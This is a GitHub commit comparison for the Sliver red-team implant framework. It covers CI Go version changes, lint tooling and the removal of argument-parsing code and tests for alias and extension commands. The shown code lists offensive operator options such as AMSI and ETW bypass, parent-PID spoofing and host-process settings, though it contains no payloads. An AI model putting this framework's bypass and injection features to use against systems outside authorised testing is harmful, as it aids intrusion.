Compare commits

..
1381 changed files with 185218 additions and 73898 deletions

No files matched your search

+1 -1
View File
@@ -1 +1 @@
* @BishopFox/bf-red-team
* @BishopFox/red-team
+2 -2
View File
@@ -52,10 +52,10 @@ jobs:
with:
fetch-depth: 0
- name: Go 1.26.6
- name: Go 1.25.8
uses: actions/setup-go@v6
with:
go-version: "1.26.6"
go-version: "1.25.8"
- name: Install Minisign
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
+2 -2
View File
@@ -16,10 +16,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.26.6
- name: Go 1.25.8
uses: actions/setup-go@v6
with:
go-version: "1.26.6"
go-version: "1.25.8"
- name: Checkout repository
uses: actions/checkout@v6
-56
View File
@@ -1,56 +0,0 @@
name: golangci-lint
on:
push:
branches:
- master
pull_request:
branches:
- master
paths:
- ".golangci.yml"
- ".github/workflows/golangci-lint.yml"
- "go.mod"
- "go.sum"
- "go.work"
- "go.work.sum"
- "Makefile"
- "vendor/**"
- "**/*.go"
permissions:
contents: read
pull-requests: read
jobs:
lint:
name: golangci-lint (${{ matrix.goos }})
runs-on: ubuntu-latest
timeout-minutes: 30
strategy:
fail-fast: false
matrix:
goos:
- linux
- darwin
- windows
env:
GOOS: ${{ matrix.goos }}
GOARCH: amd64
CGO_ENABLED: "0"
steps:
- name: Check Out Code
uses: actions/checkout@v6
- name: Go 1.26.6
uses: actions/setup-go@v6
with:
go-version: "1.26.6"
- name: Run golangci-lint
uses: golangci/golangci-lint-action@v9
with:
version: v2.12.2
# Keep legacy findings visible without making them blockers.
only-new-issues: true
args: ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
+8 -8
View File
@@ -25,10 +25,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 180
steps:
- name: Go 1.26.6
- name: Go 1.25.8
uses: actions/setup-go@v6
with:
go-version: "1.26.6"
go-version: "1.25.8"
- name: OS Packages
run: |
@@ -71,10 +71,10 @@ jobs:
runs-on: windows-latest
timeout-minutes: 180
steps:
- name: Go 1.26.6
- name: Go 1.25.8
uses: actions/setup-go@v6
with:
go-version: "1.26.6"
go-version: "1.25.8"
- name: Install make
run: choco install make -y --no-progress
@@ -115,10 +115,10 @@ jobs:
runs-on: macos-latest
timeout-minutes: 180
steps:
- name: Go 1.26.6
- name: Go 1.25.8
uses: actions/setup-go@v6
with:
go-version: "1.26.6"
go-version: "1.25.8"
- name: Check Out Code
uses: actions/checkout@v6
@@ -153,10 +153,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.26.6
- name: Go 1.25.8
uses: actions/setup-go@v6
with:
go-version: "1.26.6"
go-version: "1.25.8"
- name: Check Out Code
uses: actions/checkout@v6
-27
View File
@@ -1,27 +0,0 @@
version: "2"
run:
timeout: 10m
modules-download-mode: vendor
build-tags:
- client
- server
- osusergo
- netgo
- go_sqlite
# Raw implant entry points are Go templates; lint their supporting packages.
- sliver_lint
linters:
default: standard
enable:
- gocyclo
- misspell
- revive
settings:
gocyclo:
min-complexity: 15
formatters:
enable:
- gofmt
+1 -18
View File
@@ -2,31 +2,18 @@
# Makefile for Sliver
#
.DEFAULT_GOAL := default
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags go_sqlite
CGO_ENABLED = 0
GOLANGCI_LINT ?= golangci-lint
# The tree has legacy lint findings, so gate issues introduced by this change.
GOLANGCI_LINT_BASE ?= master
GOLANGCI_LINT_ARGS ?= --new-from-merge-base=$(GOLANGCI_LINT_BASE)
GOLANGCI_LINT_PACKAGES = \
./client/... \
./server/... \
./util/... \
./protobuf/... \
./docs \
./implant/...
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
CGO_ENABLED = 1
endif
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 26
MIN_SUPPORTED_GO_MINOR_VERSION = 25
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
@@ -36,10 +23,6 @@ CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
SLIVER_UPDATE_PKG = github.com/bishopfox/sliver/client/command/update
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
.PHONY: lint
lint:
$(GOLANGCI_LINT) run $(GOLANGCI_LINT_ARGS) $(GOLANGCI_LINT_PACKAGES)
ifneq ($(OS),Windows_NT)
#
+1 -1
View File
@@ -4,7 +4,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![golangci-lint](https://github.com/BishopFox/sliver/actions/workflows/golangci-lint.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/golangci-lint.yml) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
+1 -1
View File
@@ -52,7 +52,7 @@ func init() {
rootCmd.TraverseChildren = true
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
rootCmd.PersistentFlags().Bool(enableWGFlag, false, "connect to multiplayer through the operator config's WireGuard wrapper")
rootCmd.PersistentFlags().Bool(disableWGFlag, false, "connect to multiplayer directly even if the operator config includes a WireGuard wrapper")
// Create the console client, without any RPC or commands bound to it yet.
// This created before anything so that multiple commands can make use of
+6 -6
View File
@@ -6,23 +6,23 @@ import (
)
const (
enableWGFlag = "enable-wg"
disableWGFlag = "disable-wg"
)
func applyMultiplayerConnectMode(cmd *cobra.Command) error {
if cmd == nil {
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectDirect)
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
return nil
}
enableWG, err := cmd.Flags().GetBool(enableWGFlag)
disableWG, err := cmd.Flags().GetBool(disableWGFlag)
if err != nil {
return err
}
mode := transport.MultiplayerConnectDirect
if enableWG {
mode = transport.MultiplayerConnectEnableWG
mode := transport.MultiplayerConnectAuto
if disableWG {
mode = transport.MultiplayerConnectDisableWG
}
transport.SetMultiplayerConnectMode(mode)
return nil
-251
View File
@@ -1,251 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"strconv"
"strings"
"github.com/spf13/cobra"
)
// Alias commands run with cobra's DisableFlagParsing enabled (see LoadAlias),
// the same treatment extension commands received for their arguments. Before
// that, an unknown flag such as the payload's own `-pid` was rejected outright
// by pflag ("unknown flag"), and operators had to inject cobra's "--"
// separator (documented on the wiki) to pass arguments through at all (#2264).
//
// With flag parsing disabled cobra hands Run the raw, unstripped slice, and we
// extract the Sliver-owned flags ourselves here. Everything we do not own is
// passed to the payload untouched, so all of these now work:
//
// amsi-bypass -pid 6969
// fakealias --process notepad.exe arg1 arg2
// fakealias -- --anything still-here (existing workaround, unchanged)
type ownedFlagKind int
const (
ownedBool ownedFlagKind = iota
ownedString
ownedUint32
ownedInt64
)
// ownedFlagSpec describes one Sliver-owned flag that splitAliasArgs extracts
// from the raw argument slice before the rest is handed to the alias payload.
type ownedFlagSpec struct {
long string // canonical pflag name, e.g. "process-arguments"
short string // shorthand letter, e.g. "A" ("" if the flag has none)
kind ownedFlagKind // how the value is consumed and validated
}
// baseAliasOwnedFlags are registered for every alias command.
var baseAliasOwnedFlags = []ownedFlagSpec{
{long: "process", short: "p", kind: ownedString},
{long: "process-arguments", short: "A", kind: ownedString},
{long: "ppid", short: "P", kind: ownedUint32},
{long: "save", short: "s", kind: ownedBool},
{long: "timeout", short: "t", kind: ownedInt64},
}
// assemblyAliasOwnedFlags are only owned when the alias wraps a .NET assembly;
// for every other alias they are unknown tokens and pass through to the payload.
var assemblyAliasOwnedFlags = []ownedFlagSpec{
{long: "method", short: "m", kind: ownedString},
{long: "class", short: "c", kind: ownedString},
{long: "app-domain", short: "d", kind: ownedString},
{long: "arch", short: "a", kind: ownedString},
{long: "in-process", short: "i", kind: ownedBool},
{long: "runtime", short: "r", kind: ownedString},
{long: "amsi-bypass", short: "M", kind: ownedBool},
{long: "etw-bypass", short: "E", kind: ownedBool},
}
// aliasOwnedFlagSpecs returns the flag set owned by a particular alias.
func aliasOwnedFlagSpecs(isAssembly bool) []ownedFlagSpec {
if !isAssembly {
return baseAliasOwnedFlags
}
specs := make([]ownedFlagSpec, 0, len(baseAliasOwnedFlags)+len(assemblyAliasOwnedFlags))
specs = append(specs, baseAliasOwnedFlags...)
return append(specs, assemblyAliasOwnedFlags...)
}
// ownedFlagMatch is a raw token that spelled one of the Sliver-owned flags.
type ownedFlagMatch struct {
spec ownedFlagSpec
value string // value from a "--flag=value" / "-f=value" spelling
inline bool // whether the token carried its value inline
}
// splitAliasArgs separates the Sliver-owned flags from the alias payload's own
// arguments in a raw (DisableFlagParsing) argument slice. It accepts the long
// forms --flag, --flag=value, --flag value and the shorthand forms -f, -f=value,
// -f value, mirroring pflag. Two deliberate differences from pflag:
//
// - a glued shorthand value (-pnotepad) does NOT match --process: tokens
// like the payload's own "-pid" must survive intact (#2264);
// - after a literal "--" every token is copied through verbatim, preserving
// the long-standing separator workaround.
//
// The returned map holds the raw string value of each flag that was provided;
// callers re-publish the values with applyOwnedAliasFlags.
func splitAliasArgs(raw []string, specs []ownedFlagSpec) (map[string]string, bool, []string, error) {
values := make(map[string]string)
extArgs := make([]string, 0, len(raw))
byLong, byShort := ownedFlagTables(specs)
passthrough := false
for i := 0; i < len(raw); i++ {
tok := raw[i]
// Once we have seen "--", copy everything through untouched.
if passthrough {
extArgs = append(extArgs, tok)
continue
}
if tok == "--" {
passthrough = true
continue
}
if tok == "--help" || tok == "-h" {
return values, true, extArgs, nil
}
match, ok := matchOwnedFlag(tok, byLong, byShort)
if !ok {
// Not one of ours (including glued shorthands and the payload's
// own flags): the alias owns the token, pass it through untouched.
extArgs = append(extArgs, tok)
continue
}
i = takeOwnedValue(match, raw, i, values)
}
if err := validateOwnedValues(specs, values); err != nil {
return nil, false, nil, err
}
return values, false, extArgs, nil
}
// ownedFlagTables indexes the specs by long name and shorthand.
func ownedFlagTables(specs []ownedFlagSpec) (byLong, byShort map[string]ownedFlagSpec) {
byLong = make(map[string]ownedFlagSpec, len(specs))
byShort = make(map[string]ownedFlagSpec, len(specs))
for _, spec := range specs {
byLong[spec.long] = spec
if spec.short != "" {
byShort[spec.short] = spec
}
}
return byLong, byShort
}
// matchOwnedFlag checks whether tok spells one of the Sliver-owned flags, in
// the long form (--name, --name=value) or shorthand form (-f, -f=value). A
// glued shorthand value (-pnotepad) deliberately does not match: pflag would
// read "-pid" as -p with value "id", which is exactly the mangling that broke
// #2264, so such tokens must fall through to the payload.
func matchOwnedFlag(tok string, byLong, byShort map[string]ownedFlagSpec) (ownedFlagMatch, bool) {
var match ownedFlagMatch
var name, value string
var hasValue, isShort bool
switch {
case strings.HasPrefix(tok, "--"):
name, value, hasValue = strings.Cut(tok[2:], "=")
case strings.HasPrefix(tok, "-") && len(tok) > 1:
name, value, hasValue = strings.Cut(tok[1:], "=")
isShort = len(name) == 1
default:
return match, false
}
spec, ok := byLong[name]
if isShort {
spec, ok = byShort[name]
}
if !ok {
return match, false
}
match.spec, match.value, match.inline = spec, value, hasValue
return match, true
}
// takeOwnedValue records the flag's value in values and returns the index of
// the last raw token it consumed. The "--flag value" / "-f value" spellings
// consume the following token; a bool without an inline value defaults to
// true; a value flag as the very last token is dropped and keeps its default,
// mirroring the extension behaviour.
func takeOwnedValue(match ownedFlagMatch, raw []string, i int, values map[string]string) int {
switch {
case match.spec.kind == ownedBool:
if !match.inline {
match.value = "true"
}
values[match.spec.long] = match.value
case match.inline:
values[match.spec.long] = match.value
case i+1 < len(raw):
values[match.spec.long] = raw[i+1]
return i + 1
}
return i
}
// validateOwnedValues rejects non-numeric values for the numeric flag kinds,
// the way pflag's typed values would have.
func validateOwnedValues(specs []ownedFlagSpec, values map[string]string) error {
for _, spec := range specs {
value, provided := values[spec.long]
if !provided {
continue
}
var err error
switch spec.kind {
case ownedUint32:
_, err = strconv.ParseUint(value, 10, 32)
case ownedInt64:
_, err = strconv.ParseInt(value, 10, 64)
}
if err != nil {
return fmt.Errorf("invalid value %q for --%s", value, spec.long)
}
}
return nil
}
// applyOwnedAliasFlags republishes the manually parsed Sliver-owned flag values
// onto the command's flag set. DisableFlagParsing prevents pflag from
// populating them, so readers such as runAliasCommand's Get* calls and
// ActiveTarget.Request (which derives the gRPC timeout from --timeout) would
// otherwise observe only the defaults.
func applyOwnedAliasFlags(cmd *cobra.Command, values map[string]string) error {
for name, value := range values {
flag := cmd.Flags().Lookup(name)
if flag == nil {
continue // e.g. an assembly flag on a non-assembly alias
}
if err := flag.Value.Set(value); err != nil {
return fmt.Errorf("invalid value %q for --%s: %w", value, name, err)
}
}
return nil
}
-259
View File
@@ -1,259 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"reflect"
"testing"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// TestSplitAliasArgs covers the argument passthrough regression from #2264:
// the alias payload's own flags must reach the payload intact, while the
// Sliver-owned flags are extracted and validated.
func TestSplitAliasArgs(t *testing.T) {
base := aliasOwnedFlagSpecs(false)
assembly := aliasOwnedFlagSpecs(true)
cases := []struct {
name string
specs []ownedFlagSpec
in []string
values map[string]string
help bool
extArgs []string
wantErr bool
}{
{
name: "payload flag without -- separator (#2264 regression)",
specs: base,
in: []string{"-pid", "6969"},
values: map[string]string{},
extArgs: []string{"-pid", "6969"},
},
{
name: "glued shorthand is not ours and passes through",
specs: base,
in: []string{"-pid"},
values: map[string]string{},
extArgs: []string{"-pid"},
},
{
name: "payload flag with -- separator (existing workaround)",
specs: base,
in: []string{"--", "--pid", "6969"},
values: map[string]string{},
extArgs: []string{"--pid", "6969"},
},
{
name: "owned flag after -- belongs to the payload",
specs: base,
in: []string{"--", "--save"},
values: map[string]string{},
extArgs: []string{"--save"},
},
{
name: "long flag with separate value, then payload args",
specs: base,
in: []string{"--process", "notepad.exe", "arg1", "arg2"},
values: map[string]string{"process": "notepad.exe"},
extArgs: []string{"arg1", "arg2"},
},
{
name: "long flag with equals value",
specs: base,
in: []string{"--process=notepad.exe", "arg1"},
values: map[string]string{"process": "notepad.exe"},
extArgs: []string{"arg1"},
},
{
name: "shorthand with separate value",
specs: base,
in: []string{"-p", "notepad.exe", "arg1"},
values: map[string]string{"process": "notepad.exe"},
extArgs: []string{"arg1"},
},
{
name: "shorthand with equals value",
specs: base,
in: []string{"-p=notepad.exe"},
values: map[string]string{"process": "notepad.exe"},
extArgs: []string{},
},
{
name: "bool shorthand and long false form",
specs: base,
in: []string{"-s", "--save=false", "arg1"},
values: map[string]string{"save": "false"},
extArgs: []string{"arg1"},
},
{
name: "quoted value containing spaces stays a single argument",
specs: base,
in: []string{"-A", "-kalc -kdisable", "arg1"},
values: map[string]string{"process-arguments": "-kalc -kdisable"},
extArgs: []string{"arg1"},
},
{
name: "valid uint32 and int64 values",
specs: base,
in: []string{"-P", "1234", "--timeout=90"},
values: map[string]string{"ppid": "1234", "timeout": "90"},
extArgs: []string{},
},
{
name: "invalid uint32 value errors",
specs: base,
in: []string{"--ppid", "notanumber"},
wantErr: true,
},
{
name: "invalid int64 value errors",
specs: base,
in: []string{"--timeout=x"},
wantErr: true,
},
{
name: "assembly flags are owned for assembly aliases",
specs: assembly,
in: []string{"--method", "Run", "--class", "Prog", "-i", "-M", "--arch", "x64", "payloadArg"},
values: map[string]string{
"method": "Run", "class": "Prog", "in-process": "true",
"amsi-bypass": "true", "arch": "x64",
},
extArgs: []string{"payloadArg"},
},
{
name: "assembly flags pass through for non-assembly aliases",
specs: base,
in: []string{"--method", "Run"},
values: map[string]string{},
extArgs: []string{"--method", "Run"},
},
{
name: "help flags are detected",
specs: base,
in: []string{"--help"},
help: true,
values: map[string]string{},
extArgs: []string{},
},
{
name: "short help is detected",
specs: base,
in: []string{"-h"},
help: true,
values: map[string]string{},
extArgs: []string{},
},
{
name: "value flag as last token keeps its default",
specs: base,
in: []string{"arg1", "--process"},
values: map[string]string{},
extArgs: []string{"arg1"},
},
{
name: "empty input",
specs: base,
in: nil,
values: map[string]string{},
extArgs: []string{},
},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
values, help, extArgs, err := splitAliasArgs(tc.in, tc.specs)
if tc.wantErr {
if err == nil {
t.Fatalf("expected error, got values=%#v help=%v extArgs=%#v", values, help, extArgs)
}
return
}
if err != nil {
t.Fatalf("unexpected error: %s", err)
}
if help != tc.help {
t.Errorf("help: got %v, want %v", help, tc.help)
}
if !reflect.DeepEqual(values, tc.values) {
t.Errorf("values: got %#v, want %#v", values, tc.values)
}
if !reflect.DeepEqual(extArgs, tc.extArgs) {
t.Errorf("extArgs: got %#v, want %#v", extArgs, tc.extArgs)
}
})
}
}
// TestApplyOwnedAliasFlags checks that manually parsed values are re-published
// on the command's flag set for every value type an alias can own.
func TestApplyOwnedAliasFlags(t *testing.T) {
cmd := &cobra.Command{}
f := pflag.NewFlagSet("alias-test", pflag.ContinueOnError)
f.StringP("process", "p", "", "host process")
f.StringP("process-arguments", "A", "", "host process arguments")
f.Uint32P("ppid", "P", 0, "parent pid")
f.BoolP("save", "s", false, "save output")
f.Int64P("timeout", "t", 60, "timeout")
f.BoolP("amsi-bypass", "M", false, "amsi bypass")
cmd.Flags().AddFlagSet(f)
err := applyOwnedAliasFlags(cmd, map[string]string{
"process": "notepad.exe",
"process-arguments": "-k foo",
"ppid": "1234",
"save": "true",
"timeout": "90",
"amsi-bypass": "true",
})
if err != nil {
t.Fatalf("unexpected error: %s", err)
}
for name, want := range map[string]interface{}{
"process": "notepad.exe", "process-arguments": "-k foo",
} {
got, _ := cmd.Flags().GetString(name)
if got != want.(string) {
t.Errorf("%s: got %q, want %q", name, got, want)
}
}
if ppid, _ := cmd.Flags().GetUint32("ppid"); ppid != 1234 {
t.Errorf("ppid: got %d, want 1234", ppid)
}
if save, _ := cmd.Flags().GetBool("save"); !save {
t.Error("save: got false, want true")
}
if timeout, _ := cmd.Flags().GetInt64("timeout"); timeout != 90 {
t.Errorf("timeout: got %d, want 90", timeout)
}
if amsi, _ := cmd.Flags().GetBool("amsi-bypass"); !amsi {
t.Error("amsi-bypass: got false, want true")
}
// Unset flags keep their defaults.
if inProc := cmd.Flags().Lookup("in-process"); inProc != nil {
t.Error("in-process should not be registered on this command")
}
}
+5 -29
View File
@@ -215,6 +215,8 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
}
}
longHelp.WriteString("\n\n⚠️ If you're having issues passing arguments to the alias please read:\n")
longHelp.WriteString("https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing")
// for each alias command, add a new app command
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
@@ -225,14 +227,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
Run: func(cmd *cobra.Command, args []string) {
runAliasCommand(cmd, con, args)
},
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
// DisableFlagParsing keeps the alias payload's own flags (which are
// unknown to pflag) from being rejected or swallowed; we split the
// Sliver-owned flags out of the raw slice ourselves in
// runAliasCommand (#2264, same treatment as extensions).
DisableFlagParsing: true,
GroupID: consts.AliasHelpGroup,
Annotations: makeAliasPlatformFilters(aliasManifest),
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
GroupID: consts.AliasHelpGroup,
Annotations: makeAliasPlatformFilters(aliasManifest),
}
if aliasManifest.IsAssembly {
@@ -336,27 +333,6 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
return
}
aliasManifest := loadedAlias.Manifest
// The command runs with DisableFlagParsing, so args is the raw, unstripped
// slice. Separate the Sliver-owned flags from the payload's own arguments
// and re-publish them on the flag set (so the Get* readers below and
// Request()'s --timeout still work), then hand only the payload arguments
// to the execution paths (#2264, same treatment as extensions in #2323).
ownedValues, helpRequested, payloadArgs, err := splitAliasArgs(args, aliasOwnedFlagSpecs(aliasManifest.IsAssembly))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if helpRequested {
_ = cmd.Help()
return
}
if err := applyOwnedAliasFlags(cmd, ownedValues); err != nil {
con.PrintErrorf("%s\n", err)
return
}
args = payloadArgs
binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
+1 -1
View File
@@ -164,7 +164,7 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Something is wrong with this entry
pkgCache.Delete(key)
pkgCache.Delete(value)
return true
}
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
-123
View File
@@ -1,123 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"strconv"
"strings"
"github.com/spf13/cobra"
)
// splitExtensionArgs separates Sliver-owned flags (--save, --timeout, --help)
// from the extension's own arguments in a raw argument slice.
//
// Extension commands run with cobra's DisableFlagParsing enabled (see
// ExtensionRegisterCommand). Without it, pflag parses the command line first
// and, because the extension's own flags (e.g. --type, --fqdn) are unknown to
// pflag, ParseErrorsWhitelist.UnknownFlags causes pflag to silently drop each
// unknown flag together with its value; the BOF argument parser never saw them
// unless the operator injected cobra's "--" separator (#2309). Running with
// flag parsing disabled hands us the raw, unstripped slice, so we separate the
// Sliver-owned flags ourselves here.
//
// A literal "--" stops Sliver-flag scanning; every token after it is passed
// through verbatim, preserving the long-standing workaround syntax. Unknown
// tokens (the extension's named flags, their values and positional arguments)
// are never consumed or reordered, so both forms work:
//
// delegationbof --timeout 30 --type 6 --fqdn child.htb.local
// delegationbof -- --type 6 --fqdn child.htb.local
func splitExtensionArgs(raw []string) (save bool, timeout int64, help bool, extArgs []string) {
timeout = defaultTimeout
extArgs = make([]string, 0, len(raw))
passthrough := false
for i := 0; i < len(raw); i++ {
tok := raw[i]
// Once we have seen "--", copy everything through untouched so the
// existing `ext -- --foo bar` syntax keeps working identically.
if passthrough {
extArgs = append(extArgs, tok)
continue
}
switch {
case tok == "--":
passthrough = true
case tok == "--help" || tok == "-h":
help = true
case tok == "--save" || tok == "-s":
save = true
case strings.HasPrefix(tok, "--save="):
save = parseBoolValue(tok[len("--save="):], true)
case tok == "--timeout" || tok == "-t":
// Consume the following token as the value, mirroring pflag. If no
// token follows, leave the default in place rather than erroring.
if i+1 < len(raw) {
if n, err := strconv.ParseInt(raw[i+1], 10, 64); err == nil {
timeout = n
}
i++
}
case strings.HasPrefix(tok, "--timeout="):
if n, err := strconv.ParseInt(tok[len("--timeout="):], 10, 64); err == nil {
timeout = n
}
default:
// Not a Sliver-owned flag: hand it to the extension parser untouched.
extArgs = append(extArgs, tok)
}
}
return save, timeout, help, extArgs
}
// applyOwnedFlags republishes the manually parsed Sliver-owned flag values back
// onto the command's flag set. DisableFlagParsing prevents pflag from populating
// them, so helpers that read them via cmd.Flags() (notably ActiveTarget.Request,
// which derives the gRPC timeout from --timeout) would otherwise observe only the
// defaults.
func applyOwnedFlags(cmd *cobra.Command, save bool, timeout int64) {
if flag := cmd.Flags().Lookup("timeout"); flag != nil {
_ = flag.Value.Set(strconv.FormatInt(timeout, 10))
}
if flag := cmd.Flags().Lookup("save"); flag != nil {
_ = flag.Value.Set(strconv.FormatBool(save))
}
}
// parseBoolValue parses a --flag=value bool, defaulting to defVal when the value
// is empty (the bare-flag form). It accepts the same spellings pflag does.
func parseBoolValue(v string, defVal bool) bool {
switch strings.ToLower(v) {
case "", "true", "t", "1":
return true
case "false", "f", "0":
return false
}
return defVal
}
-149
View File
@@ -1,149 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"reflect"
"testing"
)
// TestSplitExtensionArgs covers the argument-passthrough regression from #2309:
// the extension's own named flags must reach the BOF parser intact regardless of
// the cobra "--" separator, while Sliver-owned flags are still honoured.
func TestSplitExtensionArgs(t *testing.T) {
cases := []struct {
name string
in []string
save bool
timeout int64
help bool
extArgs []string
}{
{
name: "named extension flags without -- separator (#2309 regression)",
in: []string{"--type", "6", "--fqdn", "child.htb.local"},
timeout: defaultTimeout,
extArgs: []string{"--type", "6", "--fqdn", "child.htb.local"},
},
{
name: "named extension flags with -- separator (existing workaround)",
in: []string{"--", "--type", "6", "--fqdn", "child.htb.local"},
timeout: defaultTimeout,
extArgs: []string{"--type", "6", "--fqdn", "child.htb.local"},
},
{
name: "sliver-owned flags precede extension arguments",
in: []string{"--timeout", "30", "--save", "--type", "6"},
save: true,
timeout: 30,
extArgs: []string{"--type", "6"},
},
{
name: "quoted value containing spaces stays a single argument",
in: []string{"--name", "hello world", "--type", "6"},
timeout: defaultTimeout,
extArgs: []string{"--name", "hello world", "--type", "6"},
},
{
name: "positional extension arguments are preserved",
in: []string{"foo", "bar", "baz"},
timeout: defaultTimeout,
extArgs: []string{"foo", "bar", "baz"},
},
{
name: "single-dash and double-dash forms are preserved",
in: []string{"-type", "6", "--fqdn", "child.htb.local"},
timeout: defaultTimeout,
extArgs: []string{"-type", "6", "--fqdn", "child.htb.local"},
},
{
name: "equals form for timeout",
in: []string{"--timeout=120", "--type", "6"},
timeout: 120,
extArgs: []string{"--type", "6"},
},
{
name: "short -s save flag",
in: []string{"-s", "--type", "6"},
save: true,
timeout: defaultTimeout,
extArgs: []string{"--type", "6"},
},
{
name: "help flag is detected",
in: []string{"--help"},
help: true,
timeout: defaultTimeout,
extArgs: []string{},
},
{
name: "empty input",
in: nil,
timeout: defaultTimeout,
extArgs: []string{},
},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
save, timeout, help, extArgs := splitExtensionArgs(tc.in)
if save != tc.save {
t.Errorf("save: got %v, want %v", save, tc.save)
}
if timeout != tc.timeout {
t.Errorf("timeout: got %d, want %d", timeout, tc.timeout)
}
if help != tc.help {
t.Errorf("help: got %v, want %v", help, tc.help)
}
if !reflect.DeepEqual(extArgs, tc.extArgs) {
t.Errorf("extArgs: got %#v, want %#v", extArgs, tc.extArgs)
}
})
}
}
// TestParseBoolValue checks the --flag=value helper used for --save=value.
func TestParseBoolValue(t *testing.T) {
cases := []struct {
in string
want bool
}{
{"", true},
{"true", true},
{"TRUE", true},
{"1", true},
{"t", true},
{"false", false},
{"0", false},
{"no", false}, // unsupported spellings keep the default
}
for _, tc := range cases {
got := parseBoolValue(tc.in, true)
// "no" is not a pflag spelling, so it falls through to the default (true).
want := tc.want
if tc.in == "no" {
want = true
}
if got != want {
t.Errorf("parseBoolValue(%q): got %v, want %v", tc.in, got, want)
}
}
}
+3 -18
View File
@@ -370,12 +370,8 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
Run: func(cmd *cobra.Command, args []string) {
runExtensionCmd(cmd, con, args)
},
GroupID: consts.ExtensionHelpGroup,
